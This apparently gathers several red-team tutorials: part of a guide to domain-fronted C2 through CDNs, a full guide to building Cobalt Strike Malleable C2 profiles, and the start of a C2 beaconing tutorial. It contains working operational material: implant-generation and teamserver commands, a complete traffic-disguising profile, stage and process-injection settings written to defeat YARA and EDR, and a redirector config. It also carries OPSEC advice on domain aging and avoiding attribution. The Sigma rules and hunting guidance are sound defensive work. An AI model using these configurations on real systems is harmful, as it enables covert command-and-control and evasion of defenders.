CloudFront and most CDNs require your origin to present a valid SSL certificate, so the ssl-certificate block is not optional. Validate before you start anything:

./c2lint profiles/cdn-front.profile
./teamserver "$TEAM_SERVER_IP" "$PASSWORD" profiles/cdn-front.profile

Here is the gotcha that cost me the better part of an afternoon once: a profile that passes c2lint is not guaranteed to work through a CDN. The CDN edge can rewrite HTTP requests. It may strip headers, reorder them, normalise casing, or inject its own (X-Forwarded-For, Via, CF-Ray). If your profile encodes metadata into a header the CDN mangles, the beacon checks in but the tasking silently corrupts. Always capture a real request through the full chain and diff it against what your profile expects. c2lint validates syntax, not the behaviour of somebody else’s edge.


6. Sliver: The Open-Source Alternative

If you do not have a Cobalt Strike license, Sliver supports fronting natively and is free. The relevant knobs are --domain for the front and --host-header for the routing hostname.

# Start the Sliver server
sliver-server

# Generate an HTTPS implant that fronts
generate --http lab-c2.yourdomain.com --host-header lab-c2.yourdomain.com \
         --os windows --arch amd64 --format exe --save /tmp/beacon.exe

# Start the HTTPS listener
https --domain lab-c2.yourdomain.com --lport 443

Sliver also offers mTLS and WireGuard listeners if you want a non-HTTP channel for the fallback leg. As with Cobalt Strike, the utility of fronting comes down to the CDN provider’s enforcement posture, so test the full chain, not just the listener. Verify the flags against your installed Sliver version; the CLI has churned across releases.


7. Serverless Relay: The AzureC2Relay Pattern

You can push the redirector into serverless and get profile-aware validation for free. AzureC2Relay is an Azure Function with an HTTP(S) trigger that validates incoming Beacon traffic against a Cobalt Strike Malleable C2 profile. Requests that do not match the profile’s user-agent, URI paths, headers, and query parameters get redirected to a configurable decoy site. Validated traffic is relayed to a team server inside the same virtual network, further fenced off by a network security group.

The win is twofold. The function scales and rotates trivially, and the team server never touches the public internet: it lives in a VNet reachable only from the function. A defender who somehow enumerates the Azure Function still hits a validator that speaks only to beacons matching your exact profile.


8. OPSEC Hardening for CDN Infrastructure

Fronting hides the destination, not sloppy tradecraft. Harden the whole chain.

TechniqueAbuse Scenario
Domain aging + categorizationRegister front-adjacent domains early; get them categorized as benign before the op
WHOIS privacyPrevent attribution linking your domains together
Role segmentationSeparate boxes for staging, long-haul, and phishing so one burn does not cascade
CDN IP allowlistingRedirector accepts only CDN egress ranges; direct scans get nothing
Kill-switch routingRe-point the CDN origin to a decoy the instant infrastructure is burned
TLS randomizationVary JA3 parameters so default C2 fingerprints do not give you away

That last one matters more than most operators realise, which brings us to how the blue team actually catches all of this.


9. Common Attacker Techniques

TechniqueDescription
Classic domain frontingFront domain differs from origin; both share a CDN edge (largely blocked now)
CDN-as-redirectorOwn CDN distribution fronts own origin; the durable pattern
Domainless frontingBlank SNI to defeat SNI/Host match enforcement
Serverless relayAzure Function / Worker validates and relays profile-matching traffic only
Malleable traffic shapingBeacon HTTP made to mimic legitimate app traffic via profiles

10. Defensive Strategies & Detection

Domain fronting is genuinely one of the harder C2 techniques to catch, precisely because nearly every enterprise pours enormous legitimate traffic at CDNs all day. Detection without tuning is a firehose of false positives. That said, several signals are high-confidence.

TLS inspection: the SNI/Host mismatch

The single strongest detection is decrypting TLS at the perimeter and comparing the SNI to the HTTP Host header. In classic fronting they differ, and that mismatch is a near-definitive tell. A proxy that intercepts TLS can compare the Host header to the connection’s SNI, and on mismatch overwrite the domain, log it, and alert. This is MITRE DET0196: outbound HTTPS where the TLS SNI does not match the HTTP Host, especially from curl, wget, or custom binaries with a mismatched or absent SNI targeting CDN-hosted endpoints.

Note the honest limitation: in the CDN-as-redirector model your SNI and Host are often the same value, so there is no mismatch to catch. That is why you also need behavioural and fingerprint detection.

JA3/JA3S fingerprinting

JA3 hashes the TLS handshake into a signature of how the client behaves. Cobalt Strike’s default JA3 hashes are widely published, and crucially these fingerprints survive domain fronting because they reflect the TLS client, not the domain it connects to. Feed pcap into Zeek or write Suricata rules against the tls.ja3 field to flag known C2 handshakes regardless of the front.

Sysmon telemetry

Event IDNameRelevance
EID 3NetworkConnectOutbound connections with DestinationIp, DestinationHostname; correlate CDN connections to the process
EID 22DNSQueryCDN FQDN lookups; hunt unusual processes resolving CDN domains
EID 1ProcessCreateParent/child anomalies around the beacon
EID 7ImageLoadedDLL loads for injected beacons

The high-value hunt is a non-browser process making CDN connections. powershell.exe or rundll32.exe resolving .cloudfront.net is not normal.

title: Non-Browser Process Beaconing to CDN Endpoint
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 3
    DestinationHostname|endswith:
      - '.cloudfront.net'
      - '.azureedge.net'
      - '.fastly.net'
      - '.workers.dev'
  filter:
    Image|endswith:
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
  condition: selection and not filter
level: high

ETW and native audit

ETW ProviderCaptures
Microsoft-Windows-WinINetHTTP/S transactions including Host headers from WinINet-based C2
Microsoft-Windows-DNS-ClientDNS resolution events
Microsoft-Windows-TCPIPTCP connection telemetry

Where Sysmon is not deployed, Security Event 5156 (Filtering Platform Connection) logs allowed connections with local/remote address and port. Enable it with:

auditpol /set /subcategory:"Filtering Platform Connection" /success:enable

Verify ETW provider GUIDs on your own host with logman query providers before you build detections on them.

Beaconing analysis

Fronted C2 still beacons. Periodic, small, regularly timed connections to CDN ranges deserve investigation even when you cannot read the headers. Baseline your legitimate CDN traffic per process first; the anomaly is the point.


Graph diagram showing five blue-team detection signal sources - TLS inspection, JA3 fingerprinting, Sysmon endpoint telemetry, ETW host header capture, and beaconing analysis - each feeding into a central SOC alert pipeline.
No single detection catches all fronting variants; defenders need overlapping signals across network and endpoint layers.

11. Lab Exercise: Full Chain, Red vs. Blue

Run the whole thing end to end.

Red, verify the front works:

# On the victim VM: resolves to CDN edge, not your team server
Resolve-DnsName lab-c2.yourdomain.com
.\beacon.exe

Confirm in Wireshark that the ClientHello SNI is lab-c2.yourdomain.com and the Host header is invisible inside the TLS payload. Your team server logs should show the connection sourced from a CDN egress IP, never the victim’s address.

Blue, expose the Host header:

# Transparent TLS intercept to reveal the inner Host
mitmproxy --mode transparent --ssl-insecure

In the mitmproxy console, compare SNI against Host per flow. In the CDN-as-redirector model they match, so you fall back to JA3 (run the pcap through Zeek) and to the Sysmon EID 3 hunt for a non-browser process talking to a CDN. In a classic fronting setup the SNI would read as a third-party front while the Host reads your origin, and that gap is your alert.


12. Tools for CDN C2 Analysis

ToolDescriptionLink
Cobalt StrikeCommercial C2 with Malleable profiles and c2lintcobaltstrike.com
SliverOpen-source C2 with native fronting flagsgithub.com/BishopFox/sliver
NginxRedirector / reverse proxynginx.org
ZeekJA3 generation and network telemetry from pcapzeek.org
SuricataIDS with tls.ja3 rule supportsuricata.io
mitmproxyTLS intercept to reveal Host vs SNImitmproxy.org
WiresharkPacket inspection of the ClientHello SNIwireshark.org
SysmonEndpoint EID 3/22/1/7 telemetrylearn.microsoft.com

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Proxy: Domain FrontingT1090.004SNI/Host mismatch via TLS inspection (DET0196)
ProxyT1090Beaconing to CDN ranges from unusual processes
Proxy: External ProxyT1090.002CDN-as-redirector without full front
Web ServiceT1102CDN/cloud-hosted C2 channel analysis
Application Layer Protocol: WebT1071.001HTTP/S C2 transport inspection
Acquire Infrastructure: DomainsT1583.001Newly registered / low-reputation front domains
Acquire Infrastructure: ServerT1583.004Redirector and team server provisioning
Obfuscated Files and InformationT1027Malleable profile traffic shaping

Summary

  • Domain fronting hides the C2 destination by splitting the TLS SNI from the HTTP Host header, letting the CDN route to your origin while the firewall sees a benign domain.
  • Classic cross-customer fronting is largely dead on CloudFront and App Engine; the durable pattern is CDN-as-redirector fronting your own distribution to your own origin.
  • Resilience comes from layering: disposable CDN and redirector out front, an untouchable team server behind, so burning one layer never costs the session.
  • The Host header must appear in both http-get and http-post client blocks, and passing c2lint does not mean the CDN will not rewrite your traffic.
  • Defenders catch it with TLS inspection (SNI/Host mismatch, DET0196), JA3 fingerprinting that survives the front, Sysmon EID 3 hunts for non-browser CDN connections, and beaconing analysis, all of which demand heavy baselining because legitimate CDN traffic is enormous.

Related Tutorials

References

Malleable C2 Profiles: Blending Into Legitimate Traffic

Objective: Learn how Cobalt Strike’s Malleable C2 DSL reshapes Beacon’s network and memory indicators to impersonate legitimate web traffic, walk through building and validating a jQuery-mimicking profile end to end in a self-owned lab, and understand the behavioral tells defenders still catch when the disguise is technically perfect.


Out-of-the-box Cobalt Strike traffic gets flagged in minutes. Not because the packets look weird to a human, but because every default .profile shipped with the framework has been fingerprinted by Snort, Suricata, JA3 databases, and every EDR vendor with a threat-intel team. When public testing put stock CS profiles against out-of-the-box IPS, detection rates were under 20%. Sounds bad for defenders, until you realize the behavioral half of the story catches almost everything anyway. That gap is the whole point of this post.

We’re going to write a profile, validate it, stand it up against a lab Windows target, capture the traffic, and then flip perspectives and detect ourselves. Framework-wise the walkthrough uses Cobalt Strike syntax (that’s where the DSL lives), but Section 8 shows the same shape in Havoc’s YAML for readers without a license.


1. What a Malleable C2 Profile Actually Is

Malleable C2 is a small domain-specific language that tells Beacon two things at once: how to transform data going into a network transaction, and, read backwards, how to recover that data on the other end. A single output block that says “mask, base64url, prepend jQuery banner, print in body” is simultaneously the encoder on Beacon and the decoder on the Team Server. The profile is a bidirectional program.

The DSL splits into two option scopes:

  • Global options (set sleeptime, set useragent, set library, etc.) apply to overall Beacon behavior.
  • Local options live inside a block like http-get or http-post and only affect that transaction. Changing a local option in http-post does not touch what http-get emits.

That distinction bites people constantly. If you set a Host header inside http-get { client { } }, it does not carry over to http-post. Every transaction stands alone.


2. Profile Anatomy: Blocks and the Transform Stack

Here are the blocks you’ll actually touch, and what each one owns:

BlockOwns
http-getShape of Beacon check-in (poll) request and server response: URI, headers, metadata encoding, output encoding
http-postShape of Beacon task-result upload: verb, URI, headers, id field, output field
http-configCross-cutting web-server behavior: response header ordering (set headers), per-header values, trust_x_forwarded_for, block_useragents, allow_useragents
stageHow Beacon is loaded into memory and the contents of the Reflective DLL: allocator, checksum, compile_time, entry_point, image_size_x86/x64, sleep_mask, syscall_method, cleanup, transform-x86/transform-x64
process-injectInjected content shape and injection behavior: allocator (VirtualAllocEx / NtMapViewOfSection), min_alloc, startrwx, userwx, execute sub-block
post-exPost-exploitation defaults: spawnto_x86, spawnto_x64, amsi_disable, smartinject, obfuscate, pipename
https-certificateCertificate served by the Team Server (issuer, subject, validity)

Inside http-get and http-post, the request/response body flows through a transform pipeline. These operators are the building blocks:

OperatorEffect
append "string"Append literal string to data
prepend "string"Prepend literal string
base64Base64-encode
base64urlURL-safe Base64
maskXOR with a random 4-byte key (key is embedded in payload)
netbios / netbiosuNetBIOS encoding (lowercase / uppercase A-P)
header "Name"Put the transformed data in this HTTP header
parameter "Name"Put the transformed data in this URI query parameter
uri-appendAppend the data directly to the URI path
printPut the data in the HTTP body

Think of it as a Unix pipe. metadata { base64url; parameter "__cfduid"; } means: take the metadata blob, base64url-encode it, stick the result into the __cfduid query parameter. Reverse the reader for the server side and you get the decoder.


Flowchart showing Beacon metadata passing through base64url encoding then placed into a CDN-looking query parameter before leaving as an HTTP GET request decoded by the Team Server
The transform stack is a bidirectional program: every encode step on Beacon has an exact inverse on the Team Server.

3. Global Options: Sleep, Jitter, and the HTTP Library

These four global settings decide half of your network-side detectability:

OptionEffect
set sleeptime "60000"Check-in interval in milliseconds
set jitter "20"Percent randomization on the sleep interval
set useragent "..."Overrides Beacon’s default User-Agent
set library "winhttp"HTTP stack used for callbacks. Defaults to wininet (only option before CS 4.9); can be wininet or winhttp.

The library choice matters more than it looks. WinINet and WinHTTP present slightly different TLS client hellos, and those different fingerprints are exactly what JA3 hashes. Pick one and know what its JA3 looks like.


4. Crafting the HTTP Layer: The jQuery Profile

Here’s the baseline profile we’ll iterate on. Save it as /opt/profiles/jquery-lab.profile on the Team Server:

# ---- Global options ----
set sleeptime "60000";         # 60-second check-in
set jitter    "20";            # +/- 20% timing randomization
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set library   "winhttp";       # Use WinHTTP stack (different JA3 than WinINet)

# ---- HTTP GET: check-in / task poll ----
http-get {
    set uri "/jquery-3.3.1.min.js";     # Looks like a CDN asset request

    client {
        header "Host"            "code.jquery.com";
        header "Accept"          "text/html,application/xhtml+xml";
        header "Referer"         "https://code.jquery.com/";
        header "Accept-Encoding" "gzip, deflate";

        metadata {
            base64url;                  # Encode Beacon metadata (host, user, pid) as URL-safe b64
            parameter "__cfduid";       # Stash it in a CDN-looking cookie parameter
        }
    }

    server {
        header "Content-Type"           "application/javascript; charset=utf-8";
        header "Cache-Control"          "max-age=2592000";
        header "X-Content-Type-Options" "nosniff";

        output {
            mask;                                # XOR with random 4-byte key
            base64url;                           # Encode masked bytes
            prepend "/*! jQuery v3.3.1 */";      # Stick a real-looking JS comment on the front
            print;                               # Deliver in HTTP body
        }
    }
}

# ---- HTTP POST: task results back to Team Server ----
http-post {
    set uri "/jquery-3.3.1.min.map";    # Sourcemap for the "jQuery" asset

    client {
        header "Content-Type" "application/x-www-form-urlencoded";

        id {
            base64url;
            parameter "id";             # Beacon session ID as ?id=...
        }

        output {
            base64url;
            print;                      # Task output in POST body
        }
    }

    server {
        header "Content-Type" "application/json";
        output {
            print;
        }
    }
}

Read line by line: the URI targets a real jQuery filename, the Host header claims the request is bound for the real CDN, and the Referer chains back to the CDN’s site to complete the story. The metadata block hides Beacon’s fingerprint (hostname, username, PID, internal IP, etc.) in what looks like a CloudFlare session cookie. The server response wears a JavaScript content type, a CDN-style cache header, and a plausible JS comment glued onto the front of the encrypted body. Task output goes back over a POST to the sourcemap URL, which is also a real thing browsers request.

The first time I built one of these I spent an afternoon chasing why the response body wouldn’t decode. The answer: mask before base64url on encode means the server must apply the inverse in the same order, and I’d swapped them mentally. When your Beacon check-in times out with no error and the Team Server log is silent, look at your transform order first. c2lint will not catch that, it’s a semantic bug, not a syntax bug.


5. Killing the PE Tombstone: The stage Block

Even with perfect network camouflage, Beacon’s in-memory image is a YARA magnet. Strings like ReflectiveLoader, beacon.dll, and the standard MS-DOS stub live inside the DLL and get lit up by any decent memory scanner. The stage block rewrites those:

stage {
    set allocator      "MapViewOfFile";     # Reflective loader uses MapViewOfFile, not VirtualAlloc
    set sleep_mask     "true";              # Encrypt beacon memory while sleeping
    set syscall_method "Indirect";          # CS 4.8+: indirect syscall stubs (harder to hook)
    set checksum       "0";                 # Zero the PE checksum
    set compile_time   "11 Nov 2021 08:14:00";  # Backdate the build time
    set entry_point    "92145";             # Non-default EntryPoint
    set image_size_x64 "512000";
    set image_size_x86 "512000";
    set cleanup        "true";              # Free the reflective loader package after init

    transform-x64 {
        strrep "ReflectiveLoader" "MicrosoftLoader";   # Kills the classic YARA hit
        strrep "beacon.dll"       "";
        strrep "This program cannot be run in DOS mode" "";
        prepend "\x90\x90\x90\x90";                    # 4-byte NOP prepend shifts offsets
    }
}

Each of those strrep lines targets a string that appears verbatim in dozens of public Cobalt Strike YARA rules. Removing ReflectiveLoader alone kills the single most-cited signature. The sleep_mask true setting is the one that matters most for memory scanners: while Beacon sleeps, its memory pages get XOR-encrypted, so a scanner walking VirtualQueryEx regions sees random bytes rather than a PE header or plaintext C2 config. Only immediately before the next call does Beacon decrypt itself.

allocator set to MapViewOfFile changes the underlying allocation primitive so the region isn’t a private commit from VirtualAlloc (which is what most tools hunt first). syscall_method Indirect routes through indirect syscall stubs so userland hooks on ntdll don’t see the call frame you’d expect.


Conceptual illustration of a Beacon DLL shedding its identifiable PE strings and reflective loader markers, leaving only encrypted noise in memory
The stage block strips or rewrites every string that YARA rules and memory scanners rely on to identify Beacon in a live process.

6. Process Injection Tuning

Every Beacon post-ex command (screenshot, keylogger, mimikatz) can inject into a spawned host process. The process-inject block controls how:

process-inject {
    set allocator "VirtualAllocEx";     # Or "NtMapViewOfSection" for section-based injection
    set min_alloc "4096";               # Never allocate less than a page
    set startrwx  "false";              # Initial permissions: RW (not RWX)
    set userwx    "false";              # Final permissions: RX (not RWX)

    transform-x64 {
        prepend "\x90\x90\x90\x90";     # Pad injected content
    }

    execute {
        CreateThread "ntdll!RtlUserThreadStart+0x21";
        SetThreadContext;
        NtQueueApcThread;
        RtlCreateUserThread;
    }
}

RWX pages in a remote process are the loudest possible injection signal. Every EDR built in the last decade alerts on cross-process RWX allocation, and Microsoft-Windows-Threat-Intelligence ETW will fire on it. Setting startrwx false allocates RW, writes the payload, then VirtualProtects down to RX for execution. Setting userwx false guarantees the final permission is RX, not RWX. Two VirtualProtect calls versus one direct RWX allocation, and the noise drops dramatically.

The execute block is an ordered try-list. Beacon walks it and picks the first technique that works against the target process. Each has a different footprint:

  • CreateThread "ntdll!RtlUserThreadStart+0x21" starts a local thread at a fake return address inside ntdll, so a stack walk resembles a normal thread.
  • SetThreadContext hijacks an existing thread (T1055.003), no new thread creation event.
  • NtQueueApcThread uses APCs (T1055.004), no CreateRemoteThread telemetry.
  • RtlCreateUserThread is the classic and the loudest, kept last as a fallback.

Ordering matters. Put the quietest technique first for the environment you’re operating in.


7. http-config and Header Order (The One Everyone Misses)

Header order is a fingerprint. Apache 2.4 does not emit Date, Server, Content-Length, Keep-Alive, Connection, Content-Type in that exact sequence for every response, and Cobalt Strike’s default doesn’t match Apache byte-for-byte either. Analysts fingerprint on the ordering more often than on the header values.

http-config {
    set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
    header "Server"     "Apache/2.4.54 (Ubuntu)";
    header "Keep-Alive" "timeout=10, max=100";
    header "Connection" "Keep-Alive";
    set trust_x_forwarded_for "true";
    set block_useragents  "curl*,lynx*,wget*,python-requests*";
    set allow_useragents  "*Mozilla*";
}

block_useragents blackholes analyst scanners hitting the redirector with curl or python-requests. allow_useragents restricts to Mozilla-family. trust_x_forwarded_for makes the Team Server log the real client IP rather than the redirector.

Before deploying, verify the ordering matches a real Apache install. Curl a genuine Apache 2.4 server and compare header-by-header with a curl against your Team Server. If they differ, adjust set headers.


8. Validating and Serving the Profile

Cobalt Strike ships c2lint. Run it every time you touch a profile:

# On the Team Server host
./c2lint /opt/profiles/jquery-lab.profile
# Expected output: parsed GET/POST URIs, headers, transforms, no errors

c2lint catches syntax errors, missing required blocks, obvious foot-guns (like transforms that can’t round-trip), and prints the effective config. It does not know whether your headers match real Apache, or whether code.jquery.com is a plausible Host header for the URL you chose. Those are on you.

Start the Team Server pointing at the profile:

./teamserver 10.10.10.5 'SuperSecretPassword' /opt/profiles/jquery-lab.profile

Then in the Aggressor client, create an HTTPS listener on 443 with a lab-only self-signed cert (or a Let’s Encrypt cert for the redirector domain if you own one for lab use).

Havoc C2 equivalent (no license needed)

For readers without a Cobalt Strike license, Havoc’s listener.yaml accepts the same shape of options, expressed as YAML. It’s not the same DSL, but the concepts port cleanly (URIs, header overrides, User-Agent, sleep, jitter, Host header) so you can run the whole exercise using the open-source framework. The lab detection work below applies unchanged.


9. The Redirector: Decoupling Domain from Team Server

Never let a Beacon connect straight to the Team Server. Sit an Apache redirector in front:

# /etc/apache2/sites-enabled/redirector.conf
<VirtualHost *:443>
    SSLEngine on
    SSLCertificateFile    /etc/ssl/lab/lab.crt
    SSLCertificateKeyFile /etc/ssl/lab/lab.key

    RewriteEngine On

    # Only forward the exact Beacon URIs to the Team Server
    RewriteCond %{REQUEST_URI} ^/jquery-3\.3\.1\.min\.(js|map)$ [NC]
    RewriteRule ^(.*)$ https://TEAMSERVER_IP:443$1 [P,L]

    # Everything else: 403. Analysts and scanners see a wall.
    RewriteRule ^ - [F,L]
</VirtualHost>

Enable modules and reload:

sudo a2enmod ssl rewrite proxy proxy_http
sudo systemctl reload apache2

The redirector’s job is threefold: hide the real Team Server IP behind a throwaway VPS, silently drop any request that isn’t a valid Beacon URI (so a curious analyst hitting / gets a stock Apache 403, not a Cobalt Strike default page), and give you a burnable frontend you can rotate without touching the Team Server.


Architecture diagram showing a Beacon connecting to an Apache redirector which forwards only valid Beacon URIs to the hidden Team Server and drops all other requests with a 403
The redirector decouples the Team Server IP from external exposure and silently burns analyst scanners hitting unexpected URIs.

10. Capturing and Verifying the Traffic

With Beacon running on the Windows lab VM, capture on the redirector:

sudo tcpdump -i any -w /tmp/beacon.pcap 'port 443'

Open in Wireshark, decrypt with the private key, and look at the check-in request. It should be indistinguishable from a browser fetching code.jquery.com/jquery-3.3.1.min.js, right down to the header ordering and the CDN-shaped cookie parameter. The server response body starts with /*! jQuery v3.3.1 */ then a base64url blob, which reads as a slightly odd but not obviously malicious JS asset.

Now flip perspectives and extract the config from the Beacon binary itself:

pip install dissect.cobaltstrike
python3 -c "
from dissect.cobaltstrike.beacon import BeaconConfig
c = BeaconConfig.from_path('beacon.bin')
print(c.settings)
"

If you can pull the profile back out of the binary, so can a defender who catches a Beacon sample. That is the point of running it: the network camouflage might be perfect, but any captured payload gives up its own profile. Design accordingly.


11. Detecting Malleable C2: What Survives the Disguise

Behavioral detection eats network camouflage for breakfast. Here’s what still fires.

Sysmon events to hunt

Event IDWhat it catches
Event ID 3 (Network Connection)Outbound HTTPS from processes that have no business making it: rundll32.exe, dllhost.exe, notepad.exe, spoolsv.exe.
Event ID 8 (CreateRemoteThread)Cross-process thread creation from process-inject.
Event ID 10 (ProcessAccess)PROCESS_VM_WRITE + PROCESS_CREATE_THREAD handle opens, especially against LSASS or the spawnto target.
Event ID 17 / 18 (Pipe Created / Connected)Beacon SMB/named-pipe C2. Watch \msagent_* and \postex_*. Rename in post-ex { set pipename } but the shape stays odd.
Event ID 22 (DNS Query)DNS Beacon: unusually long or high-entropy hostnames at consistent frequency.

Seeing 10 → 8 → 17 → 3 on the same process within seconds, with dllhost.exe as the target, is a high-confidence CS pattern regardless of what the packets look like.

Windows Security log

4688 (process create with parent + command line, once you enable command-line auditing) catches the classic Office spawning rundll32.exe. 7045 and 4697 catch the temporary service that GetSystem drops: a 7-character random alphanumeric service name in C:\Windows\. The service gets removed after escalation, but the event log entry does not. Hunt for it retroactively.

ETW providers

ProviderWhy it matters
Microsoft-Windows-Threat-IntelligenceFires on VirtualAllocEx, WriteProcessMemory, SetThreadContext, QueueUserAPC, the exact primitives process-inject uses. Requires a PPL consumer (an EDR driver, basically).
Microsoft-Windows-DNS-ClientDNS Beacon telemetry.
Microsoft-Windows-WinHttpCorrelates with set library "winhttp". If a process nobody expected is calling WinHTTP, question it.

Network-side detection

  • RITA / Zeek statistical beaconing. RITA scores connection periodicity. Even with set jitter "50", a Beacon checking in on a 60-second base still clusters around 60 seconds. RITA catches jitter that a signature-based tool ignores.
  • JA3/JA3S. Cobalt Strike’s WinINet and WinHTTP TLS stacks produce known JA3 hashes. Enforce TLS inspection in the lab and match against public JA3 databases.
  • Header order diff. Byte-compare your Team Server’s response headers against a real Apache 2.4 install. Order drift is a fingerprint.
  • CT logs. Self-signed or freshly-issued certs stand out against baseline browsing.
  • Snort/Suricata alone are not enough. Public benchmarks put stock IPS detection of common CS profiles under 20%. That’s why the behavioral layer above matters.

Sigma rules

Non-browser outbound HTTPS:

title: Non-Browser Process Outbound HTTPS to CDN-like Domains
logsource:
  product: windows
  category: network_connection    # Sysmon Event ID 3
detection:
  selection:
    EventID: 3
    DestinationPort:
      - 443
      - 80
    Initiated: 'true'
  filter_browsers:
    Image|endswith:
      - '\chrome.exe'
      - '\firefox.exe'
      - '\msedge.exe'
      - '\iexplore.exe'
  filter_system:
    Image|startswith: 'C:\Windows\System32\'
  condition: selection and not filter_browsers and not filter_system
level: medium

RWX cross-process access (catches startrwx true profiles and stock CS):

title: Cross-Process RWX Access to Common Spawnto Targets
logsource:
  product: windows
  category: process_access        # Sysmon Event ID 10
detection:
  selection:
    EventID: 10
    GrantedAccess: '0x1fffff'     # PROCESS_ALL_ACCESS, includes VM_WRITE + CREATE_THREAD
    TargetImage|endswith:
      - '\svchost.exe'
      - '\dllhost.exe'
      - '\notepad.exe'
  condition: selection
level: high

Hardening

  1. Enable process creation auditing with command line via GPO: Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy → Detailed Tracking → Audit Process Creation.
  2. Deploy Sysmon with a tuned schema (SwiftOnSecurity or olafhartong’s sysmon-modular), specifically covering Event IDs 8, 10, 17, 18.
  3. TLS inspection at the perimeter. If you can’t crack the TLS, none of the HTTP-layer detections work.
  4. Application allowlisting (WDAC/AppLocker) to block rundll32.exe, mshta.exe, regsvr32.exe from executing unsigned payloads.
  5. RITA or Zeek for jitter-resilient beacon detection on internal flows.
  6. Disable staging on your own red-team ops (staging has real OPSEC issues); defenders should alert on any HTTP response delivering a reflective PE (content-type mismatch plus high-entropy body is a strong signal).
  7. Named pipe hunt for \msagent_*, \postex_*, and any custom pipe names from post-ex { set pipename ... }.

Illustration of a broken disguise mask surrounded by behavioral detection tripwires, representing that Sysmon and ETW telemetry catch Malleable C2 even when network disguise is perfect
Behavioral telemetry from Sysmon, ETW, and statistical beaconing tools cuts through network disguise that defeats every signature-based IPS.

12. Tools

ToolUseLink
c2lintMalleable profile syntax + semantic validationships with Cobalt Strike
Havoc C2Open-source alternative supporting YAML profilesgithub.com/HavocFramework/Havoc
Apache mod_rewriteRedirector in front of the Team Serverapache.org
WiresharkPCAP inspection, TLS decryption with server keywireshark.org
RITAStatistical beaconing detection across Zeek logsactivecountermeasures.com
ZeekNetwork flow logging (feeds RITA)zeek.org
dissect.cobaltstrikeExtract Beacon config from a captured binarygithub.com/fox-it/dissect.cobaltstrike
SysmonProcess, network, injection telemetrysysinternals
YARAStatic rules against Beacon in-memory or on-diskvirustotal.github.io/yara
threatexpress/malleable-c2Reference profile repositorygithub.com/threatexpress/malleable-c2

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Data Obfuscation: Protocol or Service ImpersonationT1001.003Header-order diff vs. real service; certificate transparency review
Application Layer Protocol: Web ProtocolsT1071.001Sysmon EID 3 on non-browser processes
Application Layer Protocol: DNST1071.004Sysmon EID 22 for high-entropy / long-hostname queries
Proxy: Internal ProxyT1090.001Sysmon EID 17/18 on \msagent_*, \postex_* pipes
Proxy: Domain FrontingT1090.004Perimeter TLS inspection; SNI vs. Host header mismatch
Process Injection: DLL InjectionT1055.001Sysmon EID 10 + EID 8; TI-ETW WriteProcessMemory
Process Injection: Thread Execution HijackingT1055.003TI-ETW SetThreadContext
Process Injection: APCT1055.004TI-ETW QueueUserAPC / NtQueueApcThread
Obfuscated Files or InformationT1027High-entropy HTTP body + suspicious content-type mismatch
MasqueradingT1036spawnto process anomaly; PE header inconsistency vs. signed baseline
Hide InfrastructureT1665Redirector detection via response fingerprint drift
Exfiltration Over C2 ChannelT1041Outbound POST volume anomaly on the C2 URI
Command and Control (tactic)TA0011All of the above, correlated

Summary

  • A Malleable C2 profile is a bidirectional program: the same transform stack that encodes on Beacon decodes on the Team Server. Get the operator order wrong once and nothing round-trips.
  • Network camouflage buys you evasion of signature-based IPS but almost nothing against behavioral detection. Sysmon 3/8/10/17, TI-ETW, and RITA don’t care what your headers look like.
  • The stage block is where memory-scanner evasion lives. sleep_mask, strrep on ReflectiveLoader, allocator MapViewOfFile, and PE header spoofing kill the classic YARA and pattern hits.
  • process-inject with startrwx false and userwx false avoids the RWX allocation IOC that lights up every EDR. Pick your execute order deliberately.
  • Header ordering and JA3 are the two “perfect profile” tells nobody remembers to fix. Diff your responses byte-for-byte against a real Apache; know what your HTTP-library JA3 hash is.
  • Any captured Beacon gives up its profile via dissect.cobaltstrike. Design ops assuming the disguise will eventually be reverse-engineered from a sample.

Related Tutorials

References

C2 Beaconing: Sleep, Jitter, and Communication Patterns

You’ve got a shell on the target. Now what? That implant needs to call home, but every check-in is a detection opportunity. The difference between a beacon that survives 72 hours and one that gets flagged in 20 minutes usually comes down to three things: how long it sleeps, how much it randomizes that sleep, and what the traffic looks like on the wire. This tutorial builds a minimal C beacon from scratch, runs it against a self-made listener, captures the traffic, and then shows you exactly how defenders catch it.


1. Beacon Architecture in 60 Seconds

A C2 beacon is a loop. Wake up, phone home, check for tasks, execute if any, go back to sleep. The operator never talks directly to the implant; traffic flows through at least one redirector or team server sitting between them.

The critical moving parts:

ComponentRole
Implant (beacon)Runs on the target; initiates all outbound comms on a timer
Team serverQueues tasks, receives output, manages sessions
RedirectorProxies traffic so the team server IP stays hidden
Sleep timerMillisecond wait between check-ins (Sleep, NtDelayExecution)
JitterRandom variance applied to the timer so intervals aren’t uniform
Protocol layerHTTP/S, DNS, SMB named pipe, raw TCP

Staged implants pull down a second-stage payload after initial execution. Stageless implants carry everything. For beaconing behavior, the distinction doesn’t matter: both enter the same sleep/check-in loop once running.

Flowchart showing the C2 beacon communication chain from implant on victim host through a redirector to the team server and operator console, with task and response traffic flowing in both directions
All traffic is operator-initiated from the implant side; the team server IP stays hidden behind at least one redirector.

2. The Sleep Timer and Windows APIs

The simplest beacon calls Sleep(60000) and checks in every minute. Cobalt Strike’s default sleeptime is exactly 60000 ms. That works, but kernel32!Sleep is one of the first API calls EDR vendors hook because it’s trivial to instrument.

Alternatives to Sleep

API / SyscallWhy a beacon uses it
Sleep(DWORD dwMilliseconds)Simplest; heavily hooked by EDR
WaitForSingleObject(hEvent, dwTimeout)Event-driven wait; slightly less suspicious call site
CreateWaitableTimerEx + SetWaitableTimerHigh-precision timer object; avoids Sleep import entirely
NtDelayExecution(BOOLEAN Alertable, PLARGE_INTEGER Interval)Direct ntdll syscall; bypasses kernel32 hooks; takes negative 100-ns units

I burned an afternoon the first time I used NtDelayExecution because I forgot the interval is negative (relative time) and in 100-nanosecond increments. A 30-second sleep is -300000000 in LARGE_INTEGER.QuadPart, not -30000. Get that wrong and your beacon either never wakes up or fires continuously.

3. Jitter: Formula and Why 0% Gets You Caught

Jitter varies the sleep by a percentage so the inter-arrival times aren’t perfectly periodic. The formula is straightforward:

actual_sleep = base_ms +/- (base_ms * jitter_pct / 100)

